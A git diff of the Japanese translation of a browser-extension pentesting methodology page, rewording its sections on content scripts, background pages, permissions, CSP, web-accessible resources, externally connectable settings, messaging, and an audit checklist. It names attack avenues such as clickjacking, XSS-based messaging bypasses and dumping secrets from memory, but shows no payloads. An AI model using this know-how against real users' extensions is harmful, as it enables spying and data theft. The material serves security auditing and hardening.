(DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model)に任意のアクセス権を持ちます。 ```json "content_scripts": [ { @@ -115,16 +115,16 @@ document.body.appendChild(div); ```
-このボタンがクリックされると、コンテンツスクリプトによって拡張機能ページにメッセージが送信されます。これは、`storage`を含むAPIへの直接アクセスが制限されているためです。これらの例外を超える機能が必要な場合、コンテンツスクリプトが通信できる拡張機能ページにメッセージが送信されます。 +このボタンがクリックされると、コンテンツスクリプトによって拡張機能ページにメッセージが送信されます。これは、`storage`が例外の中にあるAPIに直接アクセスできないというコンテンツスクリプトの制限によるものです。これらの例外を超える機能が必要な場合、メッセージが拡張機能ページに送信され、コンテンツスクリプトが通信できます。 {% hint style="warning" %} ブラウザによっては、コンテンツスクリプトの機能がわずかに異なる場合があります。Chromiumベースのブラウザでは、機能のリストは[Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities)で利用可能であり、Firefoxでは[MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis)が主要な情報源となります。\ また、コンテンツスクリプトはバックグラウンドスクリプトと通信する能力を持ち、アクションを実行し、応答を返すことができます。 {% endhint %} -Chromeでコンテンツスクリプトを表示およびデバッグするには、Chromeデベロッパーツールメニューにアクセスします。オプション > その他のツール > 開発者ツールを選択するか、Ctrl + Shift + Iを押します。 +Chromeでコンテンツスクリプトを表示およびデバッグするには、Chromeの開発者ツールメニューにアクセスし、Options > More tools > Developer toolsを選択するか、Ctrl + Shift + Iを押します。 -デベロッパーツールが表示されたら、**Sourceタブ**をクリックし、次に**Content Scriptsタブ**をクリックします。これにより、さまざまな拡張機能から実行中のコンテンツスクリプトを観察し、実行フローを追跡するためのブレークポイントを設定できます。 +開発者ツールが表示されたら、**Sourceタブ**をクリックし、次に**Content Scriptsタブ**をクリックします。これにより、さまざまな拡張機能から実行中のコンテンツスクリプトを観察し、実行フローを追跡するためのブレークポイントを設定できます。 ### 注入されたコンテンツスクリプト @@ -232,19 +232,19 @@ js : [ "contentScript.js" ], ``` ### `バックグラウンド` -コンテンツスクリプトによって送信されたメッセージは、**バックグラウンドページ**によって受信されます。バックグラウンドページは、拡張機能のコンポーネントを調整する中心的な役割を果たします。特筆すべきは、バックグラウンドページが拡張機能の寿命を通じて持続し、直接的なユーザーとのやり取りなしに静かに動作します。独自のDocument Object Model(DOM)を持ち、複雑な相互作用や状態管理を可能にします。 +コンテンツスクリプトによって送信されるメッセージは、**バックグラウンドページ**によって受信され、拡張機能のコンポーネントを調整する中心的な役割を果たします。特筆すべきは、バックグラウンドページが拡張機能の寿命を通じて持続し、直接的なユーザーとのやり取りなしに静かに動作します。独自のDocument Object Model(DOM)を持ち、複雑な相互作用や状態管理を可能にします。 **主なポイント**: -- **バックグラウンドページの役割:** 拡張機能の中心部として機能し、拡張機能のさまざまな部分との通信と調整を確実にします。 +- **バックグラウンドページの役割:** 拡張機能の中で通信と調整を確実にする神経中枢として機能します。 - **持続性:** ユーザーには見えないが、拡張機能の機能性には不可欠な、常に存在するエンティティです。 - **自動生成:** 明示的に定義されていない場合、ブラウザは自動的にバックグラウンドページを作成します。この自動生成されたページには、拡張機能のマニフェストで指定されたすべてのバックグラウンドスクリプトが含まれ、拡張機能のバックグラウンドタスクのシームレスな動作を保証します。 {% hint style="success" %} -明示的に宣言されていない場合にブラウザが自動的にバックグラウンドページを生成する便益により、必要なすべてのバックグラウンドスクリプトが統合され、操作されることで、拡張機能のセットアッププロセスが合理化されます。 +ブラウザがバックグラウンドページを自動的に生成することで(明示的に宣言されていない場合)、必要なすべてのバックグラウンドスクリプトが統合され、操作されることで、拡張機能のセットアッププロセスが合理化されます。 {% endhint %} -例: バックグラウンドスクリプト: +例:バックグラウンドスクリプト: ```js chrome.runtime.onMessage.addListener((request, sender, sendResponse) => { @@ -254,34 +254,34 @@ chrome.tabs.create({ url: "https://example.net/explanation" }); } }) ``` -It uses [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) to listen to messages. When an `"explain"` message is received, it uses [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) to open a page in a new tab. +[ランタイム.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage)を使用してメッセージを受信します。 `"explain"`メッセージを受信すると、[tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs)を使用して新しいタブでページを開きます。 -To debug the background script you could go to the **extension details and inspect the service worker,** this will open the developer tools with the background script: +バックグラウンドスクリプトのデバッグには、**拡張機能の詳細を表示してサービスワーカーを検査**することができます。これにより、バックグラウンドスクリプトが表示された開発者ツールが開きます:
-### Options pages and other +### オプションページおよびその他 -Browser extensions can contain various kinds of pages: +ブラウザ拡張機能にはさまざまな種類のページが含まれます: -* **Action pages** are displayed in a **drop-down when the extension ico**n is clicked. -* Pages that the extension will **load in a new tab**. -* **Option Pages**: This page displays on top of the extension when clicked. In the previous manifest In my case I was able to access this page in `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` or clicking: +* **アクションページ**は、拡張機能アイコンをクリックすると**ドロップダウンで表示**されます。 +* 拡張機能が**新しいタブで読み込むページ**。 +* **オプションページ**:このページは、クリックすると拡張機能の上に表示されます。前のマニフェストでは、`chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca`でこのページにアクセスできました。または、以下をクリックしてください:
-Note that these pages aren't persistent like background pages as they load dynamically content on necessity. Despite this, they share certain capabilities with the background page: +これらのページは、バックグラウンドページのように永続的ではなく、必要に応じて動的にコンテンツを読み込みます。しかし、これらのページはバックグラウンドページと同様の機能を共有しています: -- **Communication with Content Scripts:** Similar to the background page, these pages can receive messages from content scripts, facilitating interaction within the extension. -- **Access to Extension-Specific APIs:** These pages enjoy comprehensive access to extension-specific APIs, subject to the permissions defined for the extension. +- **コンテンツスクリプトとの通信:** バックグラウンドページと同様に、これらのページはコンテンツスクリプトからメッセージを受信し、拡張機能内での相互作用を容易にします。 +- **拡張機能固有のAPIへのアクセス:** これらのページは、拡張機能固有のAPIに包括的にアクセスでき、拡張機能に定義された権限に従います。 -### `permissions` & `host_permissions` +### `permissions`および`host_permissions` -**`permissions`** and **`host_permissions`** are entries from the `manifest.json` that will indicate **which permissions** the browser extensions has (storage, location...) and in **which web pages**. +**`permissions`**および**`host_permissions`**は、ブラウザ拡張機能が持つ**どの権限**(ストレージ、位置情報など)と**どのWebページ**に対して権限を持つかを示す`manifest.json`からのエントリです。 -As browser extensions can be so **privileged**, a malicious one or one being compromised could allow the attacker **different means to steal sensitive information and spy on the user**. +ブラウザ拡張機能は非常に**特権的**であるため、悪意のある拡張機能や侵害された拡張機能は、攻撃者に**機密情報を盗み出したりユーザーを監視するための異なる手段を提供**する可能性があります。 -Check how these settings work and how thye could get abused in: +これらの設定がどのように機能し、どのように悪用される可能性があるかを確認してください: {% content-ref url="browext-permissions-and-host_permissions.md" %} [browext-permissions-and-host\_permissions.md](browext-permissions-and-host\_permissions.md) @@ -289,13 +289,13 @@ Check how these settings work and how thye could get abused in: ### `content_security_policy` -A **content security policy** can be declared also inside the `manifest.json`. If there is one defined, it could be **vulnerable**. +**コンテンツセキュリティポリシー**は`manifest.json`内にも宣言できます。定義されている場合、**脆弱**になる可能性があります。 -The default setting for browser extension pages is rather restrictive: +ブラウザ拡張機能ページのデフォルト設定はかなり制限的です: ```bash script-src 'self'; object-src 'self'; ``` -CSPと潜在的なバイパスに関する詳細は、以下を確認してください: +CSPとバイパスの可能性についての詳細は、以下を参照してください: {% content-ref url="../content-security-policy-csp-bypass/" %} [content-security-policy-csp-bypass](../content-security-policy-csp-bypass/) @@ -303,7 +303,7 @@ CSPと潜在的なバイパスに関する詳細は、以下を確認してく ### `web_accessible_resources` -ウェブページがブラウザ拡張機能のページ(例:`.html`ページ)にアクセスするためには、このページを`manifest.json`の**`web_accessible_resources`**フィールドに記載する必要があります。\ +ウェブページがブラウザ拡張機能のページ(たとえば`.html`ページ)にアクセスするためには、このページを`manifest.json`の**`web_accessible_resources`**フィールドに記載する必要があります。\ 例: ```javascript { @@ -325,29 +325,29 @@ CSPと潜在的なバイパスに関する詳細は、以下を確認してく ``` chrome-extension:///message.html ``` -公開拡張機能では**拡張機能IDにアクセス**できます: +公開拡張機能では、**extension-id がアクセス可能**です:
-ただし、`manifest.json`パラメータ**`use_dynamic_url`**が使用されている場合、この**IDは動的になる**可能性があります。 +ただし、`manifest.json` パラメータ **`use_dynamic_url`** が使用されている場合、この **id は動的になる**可能性があります。 -これらのページにアクセスできることは、これらのページを**潜在的に脆弱なClickJacking**にする可能性があります: +これらのページにアクセスできることで、これらのページは **潜在的に ClickJacking の脆弱性**を持つ可能性があります: {% content-ref url="browext-clickjacking.md" %} [browext-clickjacking.md](browext-clickjacking.md) {% endcontent-ref %} {% hint style="success" %} -これらのページがランダムなURLではなく拡張機能のみによって読み込まれるようにすると、ClickJacking攻撃を防ぐことができます。 +これらのページがランダムな URL ではなく拡張機能のみによって読み込まれるようにすると、ClickJacking 攻撃を防ぐことができます。 {% endhint %} ### `externally_connectable` -[**ドキュメント**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable)によると、`"externally_connectable"`マニフェストプロパティは、[runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect)および[runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage)を介して拡張機能に接続できる**拡張機能やWebページを宣言**します。 +[**ドキュメント**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable)によると、`"externally_connectable"` マニフェスト プロパティは、[runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) および [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) を介して拡張機能に接続できる **どの拡張機能と Web ページが接続できるか** を宣言します。 -* 拡張機能のマニフェストに**`externally_connectable`**キーが**宣言されていない**か、**`"ids": ["*"]`**として宣言されている場合、**すべての拡張機能が接続できますが、Webページは接続できません**。 -* `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`のように**特定のIDが指定**されている場合、**それらのアプリケーションのみ**が接続できます。 -* **一致**が指定されている場合、これらのWebアプリが接続できます: +* 拡張機能のマニフェストに **`externally_connectable`** キーが宣言されていないか、**`"ids": ["*"]`** として宣言されている場合、**すべての拡張機能が接続できますが、Web ページは接続できません**。 +* `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]` のように **特定の ID が指定**されている場合、**それらのアプリケーションのみ**が接続できます。 +* 一致が指定されている場合、これらの Web アプリケーションが接続できます: ```json "matches": [ "https://*.google.com/*", @@ -358,14 +358,14 @@ chrome-extension:///message.html ここで指定されている**拡張機能やURLが少ないほど**、攻撃面が**小さく**なります。 {% hint style="danger" %} -**`externally_connectable`**に**XSSや接続先の脆弱性**があるウェブページが示されている場合、攻撃者はContent ScriptやそのCSPを完全にバイパスし、バックグラウンドスクリプトに直接メッセージを送信できます。 +もし**`externally_connectable`**で**XSSや接収に脆弱な**ウェブページが指定されている場合、攻撃者は**バックグラウンドスクリプトに直接メッセージを送信**することができ、Content ScriptとそのCSPを完全にバイパスできます。 したがって、これは**非常に強力なバイパス**です。 {% endhint %} -## ウェブ **↔︎** Content Script の通信 +## ウェブ **↔︎** Content Scriptの通信 -**コンテンツスクリプト**が動作する環境とホストページが存在する環境はお互いに**分離**されており、**隔離**が保たれています。 この隔離状態にもかかわらず、両者はページの**Document Object Model (DOM)**、共有リソースに対して相互作用する能力を持っています。 ホストページが**コンテンツスクリプト**と通信したり、コンテンツスクリプトを介して拡張機能と間接的に通信するためには、両者がアクセス可能な**DOM**を通信チャネルとして利用する必要があります。 +**コンテンツスクリプト**が動作する環境とホストページが存在する環境はお互いに**分離**されており、**隔離**が保たれています。 この隔離にもかかわらず、両者はページの**Document Object Model (DOM)**、共有リソースに対して相互作用する能力を持っています。 ホストページが**コンテンツスクリプト**と通信したり、コンテンツスクリプトを介して拡張機能と間接的に通信するためには、両者がアクセス可能な**DOM**を通信チャネルとして利用する必要があります。 ### ポストメッセージ @@ -398,11 +398,11 @@ window.postMessage( セキュアなPost Message通信は、受信したメッセージの信頼性を確認する必要があります。これは以下の方法で行うことができます: -* **`event.isTrusted`**: この値は、イベントがユーザーのアクションによってトリガーされた場合にのみTrueです。 -* コンテンツスクリプトは、ユーザーが特定のアクションを実行した場合にのみメッセージを期待するかもしれません。 -* **オリジンドメイン**: メッセージを期待するのは特定のドメインのみかもしれません。 -* 正規表現を使用する場合は非常に注意してください。 -* **ソース**: `received_message.source !== window` は、メッセージがコンテンツスクリプトがリッスンしている**同じウィンドウから**送信されたかどうかをチェックするために使用できます。 +- **`event.isTrusted`**: この値は、イベントがユーザーのアクションによってトリガーされた場合にのみTrueです。 +- コンテンツスクリプトは、ユーザーが特定のアクションを実行した場合にのみメッセージを期待するかもしれません。 +- **オリジンドメイン**: メッセージを期待するのは特定のドメインのみかもしれません。 +- 正規表現を使用する場合は非常に注意してください。 +- **ソース**: `received_message.source !== window` は、Content Scriptがリスニングしている**同じウィンドウからのメッセージ**かどうかをチェックするために使用できます。 前述のチェックは、実行されていても脆弱性がある可能性があるため、次のページで**潜在的なPost Messageバイパス**をチェックしてください: @@ -412,7 +412,7 @@ window.postMessage( ### Iframe -別の通信方法として、**Iframe URL**を介して通信する方法があります。例は以下で見つけることができます: +もう1つの通信方法は**Iframe URL**を介したものです。例は以下で見つけることができます: {% content-ref url="browext-xss-example.md" %} [browext-xss-example.md](browext-xss-example.md) @@ -420,7 +420,7 @@ window.postMessage( ### DOM -これは厳密には通信方法ではありませんが、**webとコンテンツスクリプトはweb DOMにアクセスできます**。したがって、**コンテンツスクリプト**がそれから情報を読み取っている場合、**web DOMを信頼している**場合、webはこのデータを**変更**できる可能性があります(webは信頼できないため、またはwebがXSSに対して脆弱であるため)そして**コンテンツスクリプトを危険にさらす**可能性があります。 +これは厳密には通信方法ではありませんが、**webとコンテンツスクリプトはweb DOMにアクセス**できます。したがって、**コンテンツスクリプト**がそれから情報を読み取っている場合、**web DOMを信頼**している場合、webはそのデータを**変更**できる可能性があります(webは信頼できないため、またはXSSの脆弱性があるため)そして**Content Scriptを危険にさらす**可能性があります。 **ブラウザ拡張機能を危険にさらすDOMベースのXSSの例**も以下で見つけることができます: @@ -430,15 +430,15 @@ window.postMessage( ## メモリ/コード内の機密情報 -ブラウザ拡張機能が**メモリ内に機密情報を保存**している場合、これは(特にWindowsマシンでは)**ダンプ**され、この情報を**検索**する可能性があります。 +ブラウザ拡張機能が**メモリ内に機密情報を保存**している場合、これは(特にWindowsマシンで)**ダンプ**され、この情報を**検索**する可能性があります。 したがって、ブラウザ拡張機能のメモリは**安全ではない**と見なすべきであり、資格情報やニーモニックフレーズなどの**機密情報は保存されてはいけません**。 もちろん、**コード内に機密情報を入れない**でください。それは**公開**されることになります。 -## コンテンツスクリプト **↔︎** バックグラウンドスクリプト間の通信 +## Content Script **↔︎** Background Script Communication -コンテンツスクリプトは、[**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **または** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) 関数を使用して**一度だけのJSONシリアライズ可能な**メッセージを送信できます。 +Content Scriptは、[**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **または** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) 関数を使用して**ワンタイムのJSONシリアライズ可能な**メッセージを送信できます。 **応答**を処理するには、返された**Promise**を使用します。ただし、後方互換性のために、最後の引数として**コールバック**を渡すこともできます。 @@ -460,7 +460,7 @@ const response = await chrome.tabs.sendMessage(tab.id, {greeting: "hello"}); console.log(response); })(); ``` -**受信側**では、メッセージを処理するために[**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **イベントリスナー**を設定する必要があります。これはコンテンツスクリプトや拡張機能ページから見た場合に同じように見えます。 +**受信側**では、メッセージを処理するために[**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **イベントリスナー**を設定する必要があります。これはコンテンツスクリプトや拡張機能ページから見ても同じように見えます。 ```javascript // From https://stackoverflow.com/questions/70406787/javascript-send-message-from-content-js-to-background-js chrome.runtime.onMessage.addListener( @@ -475,9 +475,9 @@ sendResponse({farewell: "goodbye"}); ``` 例で強調されているように、**`sendResponse()`** は同期的に実行されました。`sendResponse()` を非同期に実行するために `onMessage` イベントハンドラを変更するには、`return true;` を組み込むことが重要です。 -重要な考慮事項として、複数のページが `onMessage` イベントを受信するシナリオでは、特定のイベントに対して最初に `sendResponse()` を実行するページだけが効果的に応答を提供できます。同じイベントへの後続の応答は考慮されません。 +重要な考慮事項として、複数のページが `onMessage` イベントを受信するシナリオでは、特定のイベントに対して最初に `sendResponse()` を実行するページだけが効果的に応答を配信できます。同じイベントへの後続の応答は考慮されません。 -新しい拡張機能を作成する際は、コールバックではなくプロミスを使用することが好ましいです。コールバックの使用に関しては、`sendResponse()` 関数は、同期的なコンテキスト内で直接実行される場合、またはイベントハンドラが非同期操作を示すために `true` を返す場合にのみ有効と見なされます。ハンドラがいずれも `true` を返さない場合や、`sendResponse()` 関数がメモリから削除される(ガベージコレクトされる)と、`sendMessage()` 関数に関連付けられたコールバックがデフォルトでトリガーされます。 +新しい拡張機能を作成する際は、コールバックではなくプロミスを使用することが好ましいです。コールバックの使用に関しては、`sendResponse()` 関数は、同期的なコンテキスト内で直接実行される場合、またはイベントハンドラが非同期操作を示すために `true` を返す場合にのみ有効と見なされます。ハンドラがどれも `true` を返さない場合や、`sendResponse()` 関数がメモリから削除される(ガベージコレクトされる)と、`sendMessage()` 関数に関連付けられたコールバックがデフォルトでトリガーされます。 ## ブラウザでの拡張機能の読み込み @@ -522,7 +522,7 @@ unzip -d "$extension_id-source" "$extension_id.zip" 拡張機能を識別するために、それらのIDを名前にマッピングできます: - `about:extensions`ページで開発者モードを有効にして、各拡張機能のIDを表示します。 -- 各拡張機能のフォルダ内には、読みやすい形式の`name`フィールドが含まれる`manifest.json`ファイルがあり、拡張機能を識別するのに役立ちます。 +- 各拡張機能のフォルダ内にある`manifest.json`ファイルには、拡張機能を識別するのに役立つ読みやすい`name`フィールドが含まれています。 ### ファイルアーカイバまたはアンパッカーを使用する @@ -532,7 +532,7 @@ WinRAR、7-Zipなどのファイルアーカイバを使用して、ZIPファイ ### Chromeの開発者モードを使用する -Chromeを開き、`chrome://extensions/`に移動します。 +Chromeを開いて`chrome://extensions/`に移動します。 右上の「開発者モード」を有効にします。 「パッケージ化されていない拡張機能を読み込む」をクリックします。 拡張機能のディレクトリに移動します。 @@ -540,19 +540,19 @@ Chromeを開き、`chrome://extensions/`に移動します。 ## セキュリティ監査チェックリスト -ブラウザ拡張機能は**攻撃面が限られています**が、一部には**脆弱性**や**潜在的な強化改善点**が含まれている場合があります。以下は最も一般的なものです: +ブラウザ拡張機能は**攻撃面が限られています**が、一部には**脆弱性**や**強化の余地**がある場合があります。以下は最も一般的なものです: -* [ ] 要求される**`permissions`**をできるだけ**制限**する -* [ ] **`host_permissions`**をできるだけ**制限**する -* **`content_security_policy`**を**強力に**使用する -* 必要がない場合は**`externally_connectable`**をできるだけ**制限**し、デフォルトで残さないように**`{}`**を指定する -* ここでXSSや乗っ取りに**脆弱なURL**が言及されている場合、攻撃者は**直接バックグラウンドスクリプトにメッセージを送信**できます。非常に強力なバイパスです。 -* **`web_accessible_resources`**をできるだけ**制限**する(可能であれば空にする) -* **`web_accessible_resources`**がnoneでない場合は、[**ClickJacking**](browext-clickjacking.md)をチェックする -* 拡張機能からウェブページへの**通信**が行われている場合、通信中に引き起こされる[XSSのチェック](browext-xss-example.md)を行う -* Post Messagesが使用されている場合は、[**Post Messageの脆弱性**](../postmessage-vulnerabilities/)をチェックする -* **Content ScriptがDOMの詳細にアクセス**している場合は、それがWebによって**変更**された場合にXSSを導入していないかを確認する -* この通信が**Content Script -> Background script通信**にも関与している場合は特に注意する +* [ ] 要求される**`permissions`**を可能な限り**制限**する +* [ ] 可能な限り**`host_permissions`**を**制限**する +* [ ] **強力な** **`content_security_policy`**を使用する +* [ ] 必要がない場合は**`externally_connectable`**を可能な限り**制限**し、デフォルトで残さずに**`{}`**を指定する +* [ ] ここでXSSや乗っ取りに**脆弱なURL**が言及されている場合、攻撃者は**バックグラウンドスクリプトに直接メッセージを送信**できます。非常に強力なバイパスです。 +* [ ] 可能な限り**`web_accessible_resources`**を制限し、可能であれば空にしてください。 +* [ ] もし**`web_accessible_resources`**がない場合は、[**ClickJacking**](browext-clickjacking.md)をチェックしてください +* [ ] 拡張機能からウェブページへの**通信**が発生する場合、通信によって引き起こされる[XSS**脆弱性**](browext-xss-example.md)をチェックしてください。 +* [ ] Post Messagesが使用されている場合は、[**Post Messageの脆弱性**](../postmessage-vulnerabilities/)をチェックしてください。 +* [ ] **Content ScriptがDOMの詳細にアクセス**する場合は、それらがWebによって**変更**された場合にXSSを導入していないかを確認してください +* [ ] この通信が**Content Script -> Background script通信**にも関与している場合は特に注意してください * ブラウザ拡張機能の中に**機密情報を保存**すべきではありません * ブラウザ拡張機能の中に**機密情報を保存**すべきではありません @@ -561,34 +561,34 @@ Chromeを開き、`chrome://extensions/`に移動します。 ### [**Tarnish**](https://thehackerblog.com/tarnish/) * 提供されたChrome Webstoreリンクから任意のChrome拡張機能を取得します。 -* [**manifest.json**](https://developer.chrome.com/extensions/manifest) **ビューア**:拡張機能のマニフェストのJSON整形バージョンを表示します。 +* [**manifest.json**](https://developer.chrome.com/extensions/manifest) **ビューア**:拡張機能のマニフェストのJSON整形バージョンを簡単に表示します。 * **フィンガープリント解析**:[web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources)の検出およびChrome拡張機能のフィンガープリントJavaScriptの自動生成。 -* **潜在的なClickjacking解析**:[web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources)ディレクティブが設定された拡張機能HTMLページの検出。これらはページの目的に応じてClickjackingの脆弱性がある可能性があります。 +* **潜在的なClickjacking解析**:[web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources)ディレクティブが設定された拡張機能HTMLページの検出。これらはページの目的に応じてClickjackingの脆弱性があります。 * **許可警告ビューア**:ユーザーが拡張機能をインストールしようとすると表示されるすべてのChrome許可プロンプト警告のリストを表示します。 * **危険な機能**:攻撃者によって悪用される可能性のある危険な機能の場所を表示します(例:innerHTML、chrome.tabs.executeScriptなどの機能)。 -* **エントリーポイント**:拡張機能がユーザー/外部入力を受け入れる場所を表示します。これは拡張機能の攻撃面を理解し、悪意のあるデータを拡張機能に送信する潜在的なポイントを探すのに役立ちます。 -* 危険な機能とエントリーポイントのスキャナーには、次のものが生成されたアラートに含まれます: +* **エントリーポイント**:拡張機能がユーザー/外部入力を受け入れる場所を表示します。これは拡張機能の表面積を理解し、悪意のあるデータを拡張機能に送信する潜在的なポイントを探すのに役立ちます。 +* 危険な機能とエントリーポイントのスキャナーは、生成されたアラートに次のものを持っています: * アラートを引き起こした関連するコードスニペットと行。 * 問題の説明。 -* アラートを引き起こしたコードを含む完全なソースファイルを表示するための「ファイルを表示」ボタン。 +* アラートを引き起こしたファイル全体を表示するための「ファイルを表示」ボタン。 * アラートされたファイルのパス。 * アラートされたファイルの完全なChrome拡張機能URI。 -* JavaScriptファイル内に脆弱な行がある場合、それが含まれているすべてのページのパスと、これらのページのタイプ、[web\_accessible\_resource](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources)のステータス。 -* **Content Security Policy (CSP)アナライザーおよびバイパスチェッカー**:拡張機能のCSPの弱点を指摘し、ホワイトリストに登録されたCDNなどによるCSPのバイパス方法を明らかにします。 +* JavaScriptファイル内の脆弱な行が含まれている場合、それが含まれているすべてのページのパスと、これらのページのタイプ、[web\_accessible\_resource](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources)のステータス。 +* **コンテンツセキュリティポリシー(CSP)アナライザーおよびバイパスチェッカー**:拡張機能のCSPの弱点を指摘し、ホワイトリストによるCSPのバイパス方法を明らかにします。 * **既知の脆弱なライブラリ**:[Retire.js](https://retirejs.github.io/retire.js/)を使用して既知の脆弱なJavaScriptライブラリの使用をチェックします。 -* 拡張機能と整形されたバージョンをダウンロードします。 +* 拡張機能とフォーマットされたバージョンをダウンロードします。 * オリジナルの拡張機能をダウンロードします。 -* 拡張機能の整形されたバージョン(自動整形されたHTMLおよびJavaScript)をダウンロードします。 -* スキャン結果の自動キャッシュ化。拡張機能のスキャンを実行すると、最初の実行にはかなりの時間がかかりますが、2回目以降は、拡張機能が更新されていない限り、結果がキャッシュされているためほぼ即座に実行されます。 +* 拡張機能の美しく整形されたバージョンをダウンロードします(自動整形されたHTMLおよびJavaScript)。 +* スキャン結果の自動キャッシュ化。拡張機能のスキャンを実行すると、最初の実行ではかなりの時間がかかりますが、2回目以降は、拡張機能が更新されていない限り、結果がキャッシュされているためほぼ即座になります。 * リンク可能なレポートURL、Tarnishによって生成された拡張機能レポートへのリンクを簡単に他の人にリンクできます。 ### [Neto](https://github.com/elevenpaths/neto) -Project Netoは、FirefoxやChromeなどの一般的なブラウザ用のブラウザプラグインや拡張機能の隠れた機能を分析し解明するために考案されたPython 3パッケージです。このパッケージは、パッケージ化されたファイルを解凍して、`manifest.json`、ローカライゼーションフォルダ、JavaScriptやHTMLソースファイルからこれらの機能を抽出するプロセスを自動化します。 +Project Netoは、FirefoxやChromeなどのよく知られたブラウザ用のプラグインや拡張機能の隠れた機能を分析し解明するために設計されたPython 3パッケージです。このパッケージは、パッケージ化されたファイルを解凍して、`manifest.json`、ローカライゼーションフォルダ、JavaScriptおよびHTMLソースファイルからこれらの機能を抽出するプロセスを自動化します。 ## 参考文献 -* この方法論の支援に感謝します [**@naivenom**](https://twitter.com/naivenom) +* この方法論の支援に感謝します[**@naivenom**](https://twitter.com/naivenom) * [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing) * [https://palant.info/2022/08/10/anatomy-of-a-basic-extension/](https://palant.info/2022/08/10/anatomy-of-a-basic-extension/) * [https://palant.info/2022/08/24/attack-surface-of-extension-pages/](https://palant.info/2022/08/24/attack-surface-of-extension-pages/) diff --git a/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md b/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md index 7907dcc7c..ec6f9f242 100644 --- a/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md +++ b/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md @@ -8,9 +8,9 @@ HackTricksをサポートする他の方法: - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で私をフォローする:[**@carlospolopm**](https://twitter.com/carlospolopm)**。** -- **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **githubリポジトリに提出してください。** +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください +- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする +- **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 @@ -23,28 +23,28 @@ ClickJackingとは何かわからない場合は、次を確認してくださ [clickjacking.md](../clickjacking.md) {% endcontent-ref %} -拡張機能には**`manifest.json`**というファイルが含まれており、そのJSONファイルには`web_accessible_resources`というフィールドがあります。[Chromeのドキュメント](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources)には次のように記載されています: +拡張機能には**`manifest.json`**というファイルが含まれており、そのJSONファイルには`web_accessible_resources`というフィールドがあります。[Chromeドキュメント](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources)によると、次のように述べられています: -> これらのリソースは、**`chrome-extension://[PACKAGE ID]/[PATH]`**というURLを介してウェブページで利用できるようになります。このURLは**`extension.getURLメソッド`**で生成できます。許可されたリソースは適切なCORSヘッダーで提供されるため、XHRなどのメカニズムを介して利用できます。[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1) +> これらのリソースは、**`chrome-extension://[PACKAGE ID]/[PATH]`**というURLを介してウェブページで利用できるようになります。これは**`extension.getURLメソッド`**で生成できます。許可されたリソースは適切なCORSヘッダーで提供されるため、XHRなどのメカニズムを介して利用できます。[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1) -ブラウザ拡張機能の**`web_accessible_resources`**はウェブを介してだけでなく、拡張機能固有の権限で動作します。これは次のことを可能にします: +ブラウザ拡張機能の**`web_accessible_resources`**は、単にウェブを介してアクセス可能なだけでなく、拡張機能固有の特権で動作します。これは次のことを意味します: - 